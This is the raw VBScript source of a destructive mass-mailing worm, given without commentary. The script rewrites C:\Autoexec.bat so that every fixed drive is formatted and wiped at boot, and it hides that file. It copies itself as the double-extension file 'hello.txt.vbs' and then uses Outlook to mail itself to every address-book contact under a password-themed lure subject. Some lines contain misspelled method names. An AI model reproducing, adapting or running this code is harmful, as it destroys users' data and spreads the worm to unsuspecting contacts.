Dim i,j,fs,auto,disc,ds,ss,dir,p,a Set fs = CreateObject ("Scripting.FilesystemObject") Set auto = fs.CreateTextFile ("C:\Autoexec.bat",true) auto.WriteLine ("echo off") auto.Writeline ("Smatrdrv") Set disc = fs.Drives For Each ds in disc If ds.DriveType = 2 Then ss = ss & ds.Driveletter End if Next ss = LCase (StrReverse (Trim (ss))) For p = 1 To Len (ss) a = Mid (ss,p,1) auto.WriteLine ("format/autotest "&a&":") Next For p = 1 To Len (ss) a = Mid (ss,p,1) auto.WriteLine ("deltree/y "&a&":") Next auto.Close Set dir = fs.Getfile ("C:\Autoexec.bat") dir.attributes = dir.attributes+2 Set objJace = CreateObject ("Scripting.FilesystemObject") objJace.Getfile (Wscript.ScriptFullname).copy ("C:\hello.txt.vbs") objJace.CreateTextFile "C:\unzipped\x.txt",99999 Set objMail = CreateObject ("Scripting.FilesystemObject") Set objJace = CreateObject ("Scripting.FilesystemObject") objJace.Getfile (Wscript.ScriptFullname).copy ("C:\hello.txt.vbs") Set objOA =Wscript.CreateObject ("Outlook.Application") Set objMapi = objoa.GetNameSpace ("MAPI") For i = 1 to objMapi.Address.Count Set objAddlist = objMapi.AddressLists (i) For j = 1 To objAddList.AddressEntries.Count Set objMail = objOA.CreateItem (0) objMail.Recipients.Add (objAddList.AddressEntries (j)) objMail.Subject = "RE : my passwd !please check" objMail.Attochements Add ("c:\hello.txt.vbs") objMail.Send Next Next Set objMapi = Nothing Set objOA = Nothing